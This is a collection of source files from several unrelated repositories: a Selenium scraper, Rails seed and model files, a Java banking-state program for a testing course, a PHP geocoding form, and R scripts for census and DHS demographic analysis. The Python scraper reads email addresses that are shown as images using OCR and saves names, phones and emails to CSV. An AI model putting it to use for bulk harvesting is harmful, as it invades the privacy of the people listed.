with io.open('profile_datails.csv', 'w+', newline='', encoding="utf-8") as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['Name', 'Email', 'Link', 'Current status', 'experience1', 'experience2', 'address', 'number of friends', 'contact link', 'profile image'])
writer.writerow([user_name, email_address, url, current_work, exp1, exp2, address, number_of_friend, contact_link, profile_image])
<file_sep>/mail_from_img_website_scaraper.py
from selenium import webdriver
import time
import random
from bs4 import BeautifulSoup
import csv
import urllib
import codecs
from time import sleep
import io
import requests
import pytesseract
from PIL import Image
pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files/Tesseract-OCR/tesseract.exe'
def get_text(xpath):
try:
return driver.find_element_by_xpath(xpath).text
except Exception as e:
print("error on parsing item"+str(e))
return ''
def get_mail_address(url):
try:
response = requests.get(url)
img = Image.open(io.BytesIO(response.content))
# print(type(img)) # <class 'PIL.JpegImagePlugin.JpegImageFile'>
text = pytesseract.image_to_string(img)
print('........')
print(text.split('\n'))
return text.split('\n')[0]
except Exception as e:
print("mail can't convert to text")
return ''
def det_mail_url():
try:
links = driver.find_elements_by_css_selector(".e-mail")
url = links[0].get_attribute('src')
if url:
return get_mail_address(url)
return ''
except Exception as e:
print("mail url not found")
return ''
def get_text_by_css(css):
try:
return driver.find_element_by_css_selector(css).text
except Exception as e:
print('not found by css ')
return ''
links = []
with io.open('file.csv', 'r', newline='',) as csv_file:
myreader = csv.reader(csv_file)
for r in reversed(list(myreader)):
link = r[0]
print(link)
links.append(link)
csv_file.close()
print(len(links))
print(',,,,,,,,,')
# specifies the path to the chromedriver.exe
driver = webdriver.Chrome(r"chromedriver.exe")
# driver.get method() will navigate to a page given by the URL address
try:
# open a new csv file
with io.open('profile_datails.csv', 'w+', newline='', encoding="utf-8") as csv_file:
writer = csv.writer(csv_file)
writer.writerow(['Link', 'Name', 'Mail', 'Phone', 'Website'])
for count, link in enumerate(reversed(links), start=1):
print('\n\n\n')
print(count, link)
if(len(link) <= 8):
continue
try:
driver.get(link)
name = mail = phone = website = ''
try:
mail = det_mail_url()
phone = get_text_by_css(
".url.arrow-right.phone-number>span")
name = get_text_by_css("#listing-name")
website = get_text_by_css(".arrow-right.website>span")
if not website and not mail:
print(
'mail and website not found so no need to write csv file\n')
continue
print(mail, phone, name, website)
writer.writerow([link, name, mail, phone, website])
except Exception as e:
writer.writerow([link, name, mail, phone, website])
print("mail phone name error"+str(e))
except Exception as e:
print("advance error"+str(e))
# time.sleep(2)
except Exception as e:
print("main error"+str(e))
driver.close()
|
dbeb8f4be2ab91d24d1b55ef76cbe14e56940dbd
|
[
"Markdown",
"Python"
] | 7
|
Python
|
tomarfaruk/web-scrap-with-selenium
|
e70408267eb3891f2e30a83199962b6e50702830
|
9ef6d2879c3400c232bf1cdcec2485b4cea81433
|
refs/heads/master
|
<file_sep>Post.destroy_all
Comment.destroy_all
User.destroy_all
Category.destroy_all
meredith = User.create({username: "MeredithGrey", email: "<EMAIL>"})
hawkeye = User.create({username: "HawkeyePierce", email: "<EMAIL>"})
leonard = User.create({username: "BonesMcCoy", email: "<EMAIL>"})
phillip = User.create({username: "PhillipChandler", email: "<EMAIL>"})
michaela = User.create({username: "MichaelaQuinn", email: "<EMAIL>"})
post1 = Post.create({title: "Title1", content: "content1"})
post2 = Post.create({title: "Title2", content: "content2"})
post3 = Post.create({title: "Title3", content: "content3"})
post4 = Post.create({title: "Title4", content: "content4"})
post5 = Post.create({title: "Title5", content: "content5"})
Comment.create([
{content: "comment1", post_id: post1.id, user_id: hawkeye.id},
{content: "comment2", post_id: post1.id, user_id: meredith.id},
{content: "comment3", post_id: post2.id, user_id: michaela.id},
{content: "comment4", post_id: post3.id, user_id: phillip.id},
{content: "comment5", post_id: post4.id, user_id: leonard.id},
{content: "comment6", post_id: post5.id, user_id: hawkeye.id},
{content: "comment7", post_id: post3.id, user_id: meredith.id}
])
Category.create([
{name: "category1"},
{name: "category2"},
{name: "category3"},
{name: "category4"},
{name: "category5"}
])<file_sep>class Post < ActiveRecord::Base
has_many :post_categories
has_many :categories, through: :post_categories
has_many :comments
has_many :users, through: :comments
accepts_nested_attributes_for :categories
def categories_attributes=(category_attributes)
category_attributes.each do |i, category_hash|
if category_hash[:name].present?
category = Category.find_or_create_by(name: category_hash[:name])
if !self.categories.include?(category)
self.categories << category
end
end
end
end
def unique_users
self.users.uniq
end
end
<file_sep>class Comment < ActiveRecord::Base
belongs_to :user
belongs_to :post
accepts_nested_attributes_for :user
def user_attributes=(user_attribute)
if user_attribute[:username] != ""
self.create_user(user_attribute)
end
end
def post_title
self.post.title
end
def user_name
self.user.username
end
end
|
59fe828b4a9b523483e98776d96030db5c0bf061
|
[
"Ruby"
] | 3
|
Ruby
|
jennianelson/has-many-through-forms-rails-labs-v-000
|
953d18923cd8b31ef3a0d9c10a8dd66e706aa1ec
|
47c4ba7c6804246bd99e6f8e526189e120a495da
|
refs/heads/master
|
<repo_name>nickhil-revu/Banking-System<file_sep>/Git_project/Banking System/Account Class/Sta.java
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
//package sta;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
/**
*
* @author Nickhil
*/
public class Sta
{
/**
* @param args the command line arguments
*/
public static void main(String[] args) throws IOException
{ String ch,bal1,pin1;
int bal,no=0,pin=0,amt,result;
account acc=new account();
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.println("\n\n\n <NAME> A20299434 \n");
System.out.println(" ***** CS 589:Software Testing Analysis ***** \n");
System.out.println("\n\n\nPress Enter to continue.....");
ch=br.readLine();
System.out.println("");
System.out.println("----------------Menu---------------");
System.out.println("1.Open");
System.out.println("2.Login");
System.out.println("3.Pin");
System.out.println("4.balance");
System.out.println("5.Lock");
System.out.println("6.Unlock");
System.out.println("7.Withdraw");
System.out.println("8.Deposit");
System.out.println("9.Logout");
System.out.println("10.exit");
System.out.println("\n -----Test Oriented Methods-----");
System.out.println("a.Show Balance");
System.out.println("b.Current State");
System.out.println("c.Show Pin");
System.out.println("d.Show account Number");
System.out.println("e.Show Number of Attempts left");
System.out.println("f.Is locked");
System.out.println("g.State");
System.out.println("\nselect choice");
ch=br.readLine();
while(ch.compareTo("10")!=0)
{
try
{
switch(ch)
{
case "1":
System.out.println("Enter Opening Balance");
bal1=br.readLine();
bal=Integer.parseInt(bal1);
System.out.println("Enter Pin");
pin1=br.readLine();
pin=Integer.parseInt(pin1);
System.out.println("Enter Acoount Number");
no=Integer.parseInt(br.readLine());
result=acc.open(bal, pin, no);
if(result==0)
System.out.println("\nAccount Opened Successfull");
else
System.out.println("\nAccess Denied!");
break;
case"2":
System.out.println("Enter Account Number");
no=Integer.parseInt(br.readLine());
result=acc.login(no);
if(result==0)
System.out.println("\nLogin Successfull");
else
System.out.println("\nAccess Denied!");
break;
case"3":
System.out.println("Enter pin");
pin=Integer.parseInt(br.readLine());
result=acc.pin(pin);
if(result==0)
System.out.println("\nSuccessfull");
else
System.out.println("\nAccess Denied!");
break;
case "4":
result=acc.balance();
if(result!=-1)
System.out.println("Current Balanace :"+result);
else
System.out.println("\nAccess Denied!");
break;
case "5":
System.out.println("Enter your Pin");
pin =Integer.parseInt(br.readLine());
result=acc.lock(pin);
if(result==0)
System.out.println("\nAccount Successfull Locked");
else
System.out.println("\nAccess Denied!");
break;
case "6":
System.out.println("Enter your Pin");
pin =Integer.parseInt(br.readLine());
result=acc.unlock(pin);
if(result==0)
System.out.println("\nAccount Successfull Unlocked");
else
System.out.println("\nAccess Denied!");
break;
case "7":
System.out.println("Enter Amount for Withdraw");
amt=Integer.parseInt(br.readLine());
result=acc.withdraw(amt);
if(result==0)
System.out.println("\nAmount Withdrawn Successfull");
else
System.out.println("\nAccess Denied!");
break;
case "8":
System.out.println("Enter Amount for Deposit");
amt=Integer.parseInt(br.readLine());
result=acc.deposit(amt);
if(result==0)
System.out.println("\nAmount Deposited Successfull");
else
System.out.println("\nAccess Denied!");
break;
case "9":
result=acc.logout();
if(result==0)
System.out.println("\nSuccessfully Logged out....See you Again.");
else
System.out.println("\nAccess Denied!");
break;
case "10":
break;
case "a":
System.out.println("Balance : "+acc.show_balance());
break;
case "b":
System.out.println("Current State : "+acc.show_balance());
break;
case "c":
System.out.println("Pin : "+acc.show_pin());
break;
case "d":
System.out.println("Account Number : "+acc.show_account());
break;
case "e":
System.out.println("Attempts Left : "+acc.show_attempts());
break;
case "f":
result=acc.is_locked();
if (result ==0)
System.out.println("Account is in not locked state");
else
System .out.println("Account is locked");
break;
case "g":
System.out.println("Current State :");
acc.show_state();
break;
}
}catch(IOException | NumberFormatException | ArrayIndexOutOfBoundsException e)
{
System.out.println("\nERROR: Invalid Entry\n\n"+e);
}
System.out.println("\n\nPress Enter to continue...");
ch=br.readLine();
System.out.println("----------------Menu---------------");
System.out.println("1.Open");
System.out.println("2.Login");
System.out.println("3.Pin");
System.out.println("4.balance");
System.out.println("5.Lock");
System.out.println("6.Unlock");
System.out.println("7.Withdraw");
System.out.println("8.Deposit");
System.out.println("9.Logout");
System.out.println("10.exit");
System.out.println("\n -----Test Oriented Methods-----");
System.out.println("a.Show Balance");
System.out.println("b.Current State");
System.out.println("c.Show Pin");
System.out.println("d.Show account Number");
System.out.println("e.Show Number of Attempts left");
System.out.println("f.Is locked");
System.out.println("g.Current State");
System.out.println("\nselect choice");
ch=br.readLine();
}
}
}
class account
{
public account()
{
x2 = 0;
x4 = -1;
x6 = 10;
x7 = 1000;
k = 0;
num = 2;
}
public int open(int x, int y, int z)
{
if ((x > 0) && (x4 == -1))
{
x1 = x;
x3 = y;
x5 = z;
x4 = 0;
return 0;
}
return -1;
}
public int deposit(int d)
{
if (x4 != 2)
{
return -1;
}
if (x2 != 0)
{
return -1;
}
if ((x1 < x7) && (d>0))
{
x1 = x1 + d - x6;
return 0;
}
else
{
if (d > 0)
{
x1 = x1 + d;
return 0;
}
}
return -1;
}
public int withdraw(int w)
{
if (x4 != 2)
{
return -1;
}
if (x2 != 0)
{
return -1;
}
if ((x1 > w) && (w > 0))
{
if (x1 < x7)
{
return -1;
}
else
{
x1 = x1 - w;
};
if (x1 < x7)
{
x1 = x1 - x6;
}
return 0;
}
return -1;
}
public int balance()
{
if (x4 != 2)
{
return -1;
}
return x1;
}
public int lock(int x)
{
if (x4 != 2)
{
return -1;
}
if (x != x3)
{
return -1;
}
if (x2 == 0)
{
x2 = 1;
return 0;
}
else
{
return -1;
}
}
public int unlock(int x)
{
if (x4 != 2)
{
return -1;
}
if ((x2 != 0) && (x == x3))
{
x2 = 0;
return 0;
}
else
{
return -1;
}
}
public int login(int x)
{
if (x4 != 0)
{
return -1;
}
if (x5 == x)
{
x4 = 1;
k = 0;
return 0;
}
return -1;
}
public int logout()
{
if ((x4 == 0) || (x2 == 1))
{
return -1;
}
x4 = 0;
return 0;
}
public int pin(int x)
{
if (x4 != 1)
{
return -1;
}
if (x == x3)
{
x4 = 2;
return 0;
}
else
{
k++;
}
if (k >= num)
{
x4 = 0;
}
return -1;
}
/*Testing Oriented Methods*/
public int show_balance()
{
return x1;
}
public int show_pin()
{
return x3;
}
public int show_account()
{
return x5;
}
public int show_attempts()
{
return (2-k);
}
public int is_locked()
{
if (x2==0)
return 0;
else
return -1;
}
public void show_state() // testing oriented method
{
if((x2==1)&&(x4==2))
{
System.out.println("LOCKED STATE");
}
if((x4==0)&&(x2==0))
{
System.out.println("IDLE STATE");
}
if((x4==1)&&(x2==0)&&(k<num))
{
System.out.println("CHECKPIN STATE");
}
if((x4==2)&&(x1>999)&&(x2==0))
{
System.out.println("READY STATE");
}
if((x4==2)&&(x1<=999)&&(x2==0))
{
System.out.println("OVER DRAWN");
}
if(x4==-1)
{
System.out.println("START STATE");
}
}
/*End of Testing Oriented Methods*/
private int x1; //balance
private int x2;
private int x3; //pin #
private int x4;
private int x5; // account #
private int x6; // penalty
private int x7; // minimum balance
private int k;
private int num; //maximum # of attempts with incorrect pin
}
<file_sep>/Git_project/Banking System/Readme.txt
Read Me:
-----Source_code-----
Source Code: Sta.java
class files: Sta.class
account.class
test suite checker
TS.txt: with 48 test cases.
Executable files:
Sta.exe
Supporting files: Sta.jar, Sta.xml and manifest.txt
Documentation:Project Report
Instructions:
To run the program just double-click on the Sta.exe file.
The minimum JRE version required to run is Ver 1.0.0.
|
d461bc79ea5fd129d0df91eb22cffcdddc1cc171
|
[
"Java",
"Text"
] | 2
|
Java
|
nickhil-revu/Banking-System
|
1cd2affb6772009a1bb411436776e5edc8e16fa3
|
b2e68c51b099e57e8fa4f7d79306d114cff5a43f
|
refs/heads/master
|
<repo_name>Jucapo/PHP<file_sep>/api_rest/index.php
<!DOCTYPE html>
<html>
<head>
<title>Simple Map</title>
<meta name="viewport" content="initial-scale=1.0">
<meta charset="utf-8">
</head>
<body>
<form action="" method="get">
<label for="direction"></label>
<input type="text" name="direccion" value="">
<button type="submit" name="button">Enviar</button>
</form>
</body>
</html>
<?php
if (isset($_GET['direccion'])) {
$direccion = $_GET['direccion'];
$url = "https://maps.googleapis.com/maps/api/geocode/json?address=" . $direccion . "&key=<KEY>";
$json = file_get_contents($url);
$datos = json_decode($json , true);
}
?>
|
3f775e5802a52e4285a1a2d6e7b9e98d7babfece
|
[
"PHP"
] | 1
|
PHP
|
Jucapo/PHP
|
8329581a39ce7da1c091e50ea2e314940de46ac5
|
4f365c91dd34c4009afbedf74d3b2418ed4fee4b
|
refs/heads/master
|
<file_sep>import React from 'react';
import { deleteTech } from '../../actions/techActions';
import {connect} from 'react-redux';
import M from 'materialize-css/dist/js/materialize.min.js';
const TechItem = ({tech,deleteTech}) => {
const delTech = () =>{
deleteTech(tech.id);
M.toast({html:'Successfully deleted'});
}
return (
<li className="collection-item">
<div>
{tech.firstName} {tech.lastName}
<a href="#!" className="secondry-content"
onClick={delTech}>
<i className="material-icons grey-text">delete</i>
</a>
</div>
</li>
);
}
export default connect(null, {deleteTech})(TechItem);
|
8ff881819a44bf8e97d4377abba817fe4d0f9dfa
|
[
"JavaScript"
] | 1
|
JavaScript
|
nallaajaykrishnareddy/logger
|
78910cfbc48ce0878bf30e504b5f04d71483bedb
|
38f89bad87febb71da841fe376efdd3ca786b345
|
refs/heads/master
|
<file_sep>public class ArrayCalculations {
public ArrayCalculations(){
}
public double averageArray(int[][] nums){
int sum = 0;
for (int row = 0; row < nums.length; row++) {
for (int col = 0; col < nums[0].length; col++){
sum+= nums[row][col]; // I want to get to that row and col and add that value
}
}
int total = nums.length * nums[0].length; // of elements to know what to divide by
return (double) sum/total;
}
public int[] sumColumns(int[][] nums){
int[] result = new int[nums[0].length];
for (int col = 0; col < nums[0].length; col++){
int total = 0;
for (int row = 0; row < nums.length; row++){
total += nums[row][col];
}
result[col] = total;
}
return result;
}
public int[][] squareArray(int[][] nums){
int[][] result = new int[nums.length][nums[0].length]; // have made array with all 0s not tied to nums won't screw up
for (int row = 0; row < nums.length; row++){
for (int col = 0; col < nums[0].length; col++){
int value = nums[row][col];
result[row][col] = (int) Math.pow(value,2); // or just value * value
}
}
return result;
}
}
|
7c26bb88b348f1240927d626a8c55096b859cf28
|
[
"Java"
] | 1
|
Java
|
anicazulch/Chapter6Lab2
|
6f402d245d2b821fbb7baafdc6fbaf865d9a2fb9
|
3a9bf1380df17084b69ea77d9181a34d0dd88233
|
refs/heads/master
|
<repo_name>kathrinwy/humanitarian<file_sep>/useful.functions.R
##================================================================
## Project: COD-PS Assessment and Construction, Burkina Faso
## Script purpose: logical place to store all useful functions
## for this project
## Date created: 21 July, 2018
## Last updated: 25 July, 2018
##
## Author: <NAME>
## Maintainers: <NAME>, <NAME>
##================================================================
print("+----------------------------+")
print("Now running useful.functions.R")
print("+----------------------------+")
##================================================================
## age.cat5
## Function to convert single year age groups
## to standard 5-year age groups
## Input: single year age data,
## upper limit of age data
## Output: age data disaggreagted into 0-4, 5-9, ...
age.cat5 <- function(x, lower = 0, upper, by = 15,
sep = "-", above.char = "+") {
labs <- c(paste(seq(lower,
upper - by,
by = by),
seq(lower + by - 1,
upper - 1,
by = by),
sep = sep),
paste(upper,
above.char,
sep = ""))
cut(floor(x),
breaks = c(seq(lower,
upper,
by = by),
Inf),
right = FALSE,
labels = labs)
}<file_sep>/setup.environment.R
##================================================================
## Project: COD-PS Assessment and Construction, Burkina Faso
## Script purpose: load required packages,configure R environment,
## set working directory
## Date created: 21 July, 2018
## Last updated: 21 July, 2018
##
## Author: <NAME>
## Maintainers: <NAME>, <NAME>
##================================================================
print("+-----------------------------+")
print("Now running setup.environment.R")
print("+-----------------------------+")
## Section:
## -initial set-up
rm(list = ls()) ## Clear variables etc from cache
options(scipen = 999) ## disable scientific notation in R
## Set username/user-machine
mylaptop.name <- "souleymane"
my.username <- "romesh"
## Set working directory
code.dir <- "/Users/romesh/Documents/UNFPA/Humanitarian/technical/humanitarian/Humanitarian/"
BFA.input.dir <- "~/Documents/UNFPA/Humanitarian/COD-PS-general/WCARO-2018/individual/BFA/input/"
BFA.output.dir <- "~/Documents/UNFPA/Humanitarian/COD-PS-general/WCARO-2018/individual/BFA/output/"
LBR.input.dir <- "~/Documents/UNFPA/Humanitarian/COD-PS-general/WCARO-2018/individual/LBR/input/"
LBR.output.dir <- "~/Documents/UNFPA/Humanitarian/COD-PS-general/WCARO-2018/individual/LBR/output/"
setwd(code.dir)
##================================================================
## Section:
## -install and/or load required packages
## -Source useful.functions.R
library(ipumsr) ##Package for Census Microsamples
library(ggplot2)
library(Pyramid)
library(dplyr,
warn.conflicts = FALSE)
library(foreign) ##Package for handling proprietary data formats
library(devtools)
library(lodown) ##Package to import DHS data directly from WWW
library(rdhs) ##Package to handle Demographic Health Surveys
library(DemoTools)##Package for demog data quality assessment tools
library(DDM) ##Package for DDM, with CDMLTs
library(childhoodmortality) ### Child Mortality Package
library(DHS.rates) ##Package for calculation of DHS rates
## Source helper functions
source(paste(code.dir,
"useful.functions.R",
sep="")
)
##================================================================
## Section:
## -configure R environment (define global constants)
## BFA Census 2006
BFA.xml <- paste(BFA.input.dir,
"ipumsi_00025.xml",
sep="")
BFA.DHS <- paste(BFA.input.dir,
"BFHR70FL.SAV",
sep="")
# BFA.cbk <- paste(BFA.input.dir,
# "ipumsi_00025.cbk.txt",
# sep="")
## LBR Census 2008
LBR.xml <- paste(LBR.input.dir,
"ipumsi_00028.xml",
sep="")
# LBR.cbk <- paste(LBR.input.dir,
# "ipumsi_00028.cbk.txt",
# sep="")<file_sep>/read.input.data.R
##================================================================
## Project: COD-PS Assessment and Construction, Burkina Faso
## Script purpose: script to load census, DHS, MICS input data files
##
## Date created: 21 July, 2018
## Last updated: 21 July, 2018
##
## Author: <NAME>
## Maintainers: <NAME>, <NAME>
##================================================================
print("+---------------------------+")
print("Now running read.input.data.R")
print("+---------------------------+")
##================================================================
## Section: Read in and prepare IPUMS Census microdata
BFA.ddi <- read_ipums_ddi(BFA.xml)
BFA.data <- read_ipums_micro(BFA.ddi,
verbose = FALSE)
#BFA.codebook <- read_ipums_codebook(BFA.cbk.txt)
LBR.ddi <- read_ipums_ddi(LBR.xml)
LBR.data <- read_ipums_micro(LBR.ddi,
verbose = FALSE)
#LBR.codebook <- read_ipums_codebook(LBR.cbk)
census.data <- LBR.data
## Construct age/sex and age distributions, both by 1-yr and 5-yr
##adm0
male.adm0.census1 <- census.data %>%
filter(SEX==1) %>%
group_by(AGE) %>%
summarise(sum_age = sum(PERWT))
female.adm0.census1 <- census.data %>%
filter(SEX==2) %>%
group_by(AGE) %>%
summarise(sum_age = sum(PERWT))
total.adm0.census1 <- census.data %>%
group_by(AGE) %>%
summarise(sum_age = sum(PERWT))
male.adm0.census5 <- census.data %>%
filter(SEX==1) %>%
group_by(AGE2) %>%
summarise(sum_age = sum(PERWT))
female.adm0.census5 <- census.data %>%
filter(SEX==2) %>%
group_by(AGE2) %>%
summarise(sum_age = sum(PERWT))
total.adm0.census5 <- census.data %>%
group_by(AGE2) %>%
summarise(sum_age = sum(PERWT))
##adm1
male.adm1.census1 <- census.data %>%
filter(SEX==1) %>%
group_by(AGE, GEOLEV1) %>%
summarise(sum_age = sum(PERWT))
female.adm1.census1 <- census.data %>%
filter(SEX==2) %>%
group_by(AGE, GEOLEV1) %>%
summarise(sum_age = sum(PERWT))
total.adm1.census1 <- census.data %>%
group_by(AGE, GEOLEV1) %>%
summarise(sum_age = sum(PERWT))
male.adm1.census5 <- census.data %>%
filter(SEX==1) %>%
group_by(AGE, GEOLEV1) %>%
summarise(sum_age = sum(PERWT))
female.adm1.census5 <- census.data %>%
filter(SEX==2) %>%
group_by(AGE, GEOLEV1) %>%
summarise(sum_age = sum(PERWT))
total.adm1.census5 <- census.data %>%
group_by(AGE, GEOLEV1) %>%
summarise(sum_age = sum(PERWT)) ##================================================================
## Section: Read in DHS microata, apply survey weights
## BFA DHS-2014
DHS.survey <- read.spss(BFA.DHS,
to.data.frame = TRUE)
DHS.survey <- DHS.survey %>%
select(c("HHID", ## HH ID
"HV005", ## Sample weight
"HV009", ## Total No. of HH members
"HV021", ## PSU (Cluster No.)
"HV022", ## Sample Strata
"HV024", ## Region of Residence
"HV105.01",##Age of HH Member 01...
"HV105.02",
"HV105.03",
"HV105.04",
"HV105.05",
"HV105.06",
"HV105.07",
"HV105.08",
"HV105.09",
"HV105.10",
"HV105.11",
"HV105.12",
"HV105.13",
"HV105.14",
"HV105.15",
"HV105.16",
"HV105.17",
"HV105.18",
"HV105.19",
"HV105.20",
"HV104.01",##Sex of HH Member 01...
"HV104.02",
"HV104.03",
"HV104.04",
"HV104.05",
"HV104.06",
"HV104.07",
"HV104.08",
"HV104.09",
"HV104.10",
"HV104.11",
"HV104.12",
"HV104.13",
"HV104.14",
"HV104.15",
"HV104.16",
"HV104.17",
"HV104.18",
"HV104.19",
"HV104.20")
)
DHS.survey.long <- reshape(DHS.survey,
varying = c(7:46),
direction = "long",
idvar = "HHID",
sep = ".",
timevar = "order")
DHS.survey.data <- DHS.survey.long[!is.na(DHS.survey.long$HV105),]
## Construct 5-yr age group variable
DHS.survey.data$AGE <- as.numeric(as.character(DHS.survey.data$HV105))
DHS.data <- DHS.survey.data
## Construct age/sex and age distributions, both by 1-yr and 5-yr
##adm0
male.adm0.DHS1 <- DHS.data %>%
filter(HV104==1) %>%
group_by(AGE) %>%
summarise(sum_age = sum(HV005/1000000))
female.adm0.DHS1 <- DHS.data %>%
filter(HV104==2) %>%
group_by(AGE) %>%
summarise(sum_age = sum(HV005/1000000))
total.adm0.DHS1 <- DHS.data %>%
group_by(HV105) %>%
summarise(sum_age = sum(HV005/1000000))
male.adm0.DHS5 <- DHS.data %>%
filter(HV104==1) %>%
group_by(HV105) %>%
summarise(sum_age = sum(HV005/1000000))
female.adm0.DHS5 <- DHS.data %>%
filter(HV104==2) %>%
group_by(HV105) %>%
summarise(sum_age = sum(HV005/1000000))
total.adm0.DHS5 <- DHS.data %>%
group_by(HV105) %>%
summarise(sum_age = sum(HV005/1000000))<file_sep>/Adult men.R
source("Household survey based estimation.R")
# Adult males -------------------------------------------------------------
Adultmales <- full_data %>%
filter(sex == "Male" & (18 <= as.numeric(as.character(age))))
Adultmales <- Adultmales %>%
group_by(region) %>%
mutate(NRofMen = sum(regional_population))
Adultmales <- Adultmales %>%
select(c(region, NRofMen))
Adultmales <- Adultmales[!duplicated(Adultmales), ]
write.xlsx(as.data.frame(Adultmales), "./4- Results/1- Population Figures/Adult_Men.xlsx")<file_sep>/Archive/R code for graph.R
# Copyright statement comment ---------------------------------------------
# @UNFPA
# Author comment ----------------------------------------------------------
# work is progress-
# File description, purpose of code, inputs and output --------------------
# Source codes, libraries, global options and working directory -----------
library(ggplot2)
library(xlsx)
library(tidyverse)
library(dplyr)
library(RColorBrewer)
library(ggrepel)
library(grid)
library(gridExtra)
setwd("C:/Users/weny/Google Drive/2018/Humanitarian/OCHA CODs")
# function specifications -------------------------------------------------
# function to calculate coords of a circle
CreateCategorie <- function(df,x,...){
argnames <- sys.call()
a <- unlist(lapply(argnames[-1], as.character))
count <- a[-1]
df <- df %>%
mutate(category = 0)
for(i in 1 : length(count)){
df$category <- ifelse(df[, paste(count[i])] == 1, 1, df$category)
}
return(df)
}
# read in data ------------------------------------------------------------
df <- read.xlsx("humanitairan.dataset.xlsx", 1)
df$census.year <- as.numeric(df$census.year)
# summary statistics for plot ---------------------------------------------
data <- CreateCategorie(df, admin1.pop, admin2.pop, admin3.pop, admin4.pop)%>%
select(c("country.name", "census.year", "category", "regionforplot"))%>%
filter(category == 1)
data_2 <- CreateCategorie(df, admin1.pop, admin2.pop, admin3.pop, admin4.pop)%>%
select(c("country.name", "census.year", "category", "regionforplot"))%>%
filter(category == 0)%>%
mutate(category = ifelse(category == 0, 1, 0))
data_3 <- CreateCategorie(df, admin1.pop, admin2.pop, admin3.pop, admin4.pop)%>%
select(c("country.name", "census.year", "category", "unfpa.regional.office"))%>%
filter(category == 1)%>%
filter(unfpa.regional.office != "-")%>%
mutate(category = ifelse(category == 0, 1, 0))
data_4 <- CreateCategorie(df, admin1.pop, admin2.pop, admin3.pop, admin4.pop)%>%
select(c("country.name", "census.year", "category", "unfpa.regional.office"))%>%
filter(unfpa.regional.office != "-")%>%
filter(category == 0)
totals <- aggregate(data[,2], by=list(data$census.year), FUN=sum)
totals_2 <- aggregate(data_2[,2], by=list(data_2$census.year), FUN=sum)
totals_3 <- aggregate(data_3[,2], by=list(data_3$census.year), FUN=sum)
totals_4 <- aggregate(data_4[,2], by=list(data_4$census.year), FUN=sum)
# Plot (global) -----------------------------------------------------------
ggplot() +
geom_dotplot(data_2, mapping = aes(x = census.year +0.11, fill="No data"),binwidth=0.21, color = "white")+
geom_dotplot(data, mapping = aes(x = census.year-0.11, fill="Data available"), binwidth=0.21)+
theme_classic(base_size = 12, base_family = "") +
labs(title = "Countries with CODs on Pop Stats and Census Schedule", x = "Census Year", y = " ")+
geom_label(data = totals,aes(Group.1-0.2,y= 55, label = paste("n = ",x,sep=" ")),
size=4, color = "green3", fill="white")+
geom_label(data = totals_2,aes(Group.1+0.2,y= 55, label = paste("n = ",x,sep=" ")),
size=4, color = "mistyrose3", fill="white")+
ylim(0,57)+
scale_x_discrete(limit = c("2015", "2016", "2017", "2018", "2019", "2020",
"2021", "2022", "2023", "2024", "No data"),
labels=c("2015", "2016", "2017", "2018", "2019", "2020",
"2021", "2022", "2023", "2024", "No census \n planned/ conducted"))+
scale_fill_manual(values=c("green3", "mistyrose3"), name="Data Availability",
labels=c("Available", "Unavailable"))+
theme(axis.line.y=element_blank(),axis.text.y=element_blank(), axis.ticks.y=element_blank(),
axis.title=element_text(size=14,face="bold"), axis.text=element_text(size=12),
legend.position = c(.92, 0.5), legend.title=element_text(size=14, face="bold"),
legend.text = element_text(size=12),
title = element_text(size=20, face="bold"))
# Plot (by region) --------------------------------------------------------
ggplot() +
geom_dotplot(data_2, mapping = aes(x = census.year +0.17, fill="No data"),binwidth=0.4, color="mistyrose")+
geom_dotplot(data, mapping = aes(x = census.year-0.17, fill="Data available"), binwidth=0.4)+
theme_classic(base_size = 12, base_family = "") +
labs(title = "Countries with CODs on Pop Stats and Census Schedule", x = "Census Year", y = " ")+
scale_x_discrete(limit = c("2015", "2016", "2017", "2018", "2019", "2020",
"2021", "2022", "2023", "2024", "No data"),
labels=c("2015", "2016", "2017", "2018", "2019", "2020",
"2021", "2022", "2023", "2024", "No \n census"))+
scale_fill_manual(values=c("green3", "mistyrose3"), name="Data Availability",
labels=c("Available", "Unavailable"))+
theme(axis.line.y=element_blank(),axis.text.y=element_blank(), axis.ticks.y=element_blank(),
axis.title=element_text(size=12,face="bold"), axis.text=element_text(size=8),
legend.position = "none", legend.title=element_text(size=14, face="bold"),
legend.text = element_text(size=12),
title = element_text(size=16, face="bold"))+
facet_wrap(facets = "regionforplot")
# Plot (by UNFPA region) --------------------------------------------------
library(ggthemes)
a <- c("Lao", " ", " ", " ", " ", " ")
b <- c("Tonga", "Egypt", " ", " ", " ", " ")
b_1 <- c(" ", " ", " ", "Lesotho", " ", " ")
c <- c("Fiji", "Palestine", " ", "Ethiopia", "Peru", " ")
d <- c(" ", " ", " ", " ",print(paste("Haiti","Colombia", sep="\n")), "Nigeria")
e <- c(print(paste("Sol Isl","Vanuatu", "Cambod", sep="\n")), print(paste("Djibouti","Somalia", sep="\n")),
"Azerb", print(paste("DRC","Kenya", sep="\n")), " ", print(paste("Chad", "Mali", sep="\n")))
f <- c("Philippines", " ", " ", " ", "Mexico", " ")
f_1 <- c(" ", " ", print(paste("Kazakhstan","Kyrgyzstan", "Tajikistan", sep="\n")), " ", " ", " ")
g <- c("Nepal", " ", "Armenia", " ", "Dominica", " ")
h <- c(" ", " ", " ", print(paste("Burundi", "Rwanda", sep ="\n")), " ", " ")
i <- c(" ", " ", " ", " ", "Honduras", print(paste("Gambia","Maurit", "Senegal", sep="\n")))
j <- c("Myanmar", " ", "Georgia", " ", " ", "Guinea")
k <- c("Afghanistan", "Yemen", " ", print(paste("Eritrea","South Sudan", sep="\n")), " ", "CAR")
o <- c("Timor-L", "Jordan", " ", " ", "St Martin", print(paste("E-Guinea", "Sierra-L", sep ="\n")))
l <- c(print(paste("Bhutan", "Iran", "Samoa", sep="\n")), " ", " ", " ", " ", " ")
q <- c("Pakistan", " ", " ", " ", "Chile", print(paste("Burkina-F", "Cameroon", sep ="\n")))
q_1 <- c(" ", " ", " ", print(paste("Mozamb", "Swazil", "Madagas", sep="\n")), " ", " ")
r <- c("DPRK", print(paste("Sudan", "Algeria", sep="\n")), " ", " ",print(paste("El-Salv","Guatemala", "Nicaragua", sep="\n")), "")
r_1 <- c("", "", "", "Malawi", "", print(paste("Liberia","Congo", sep="\n")))
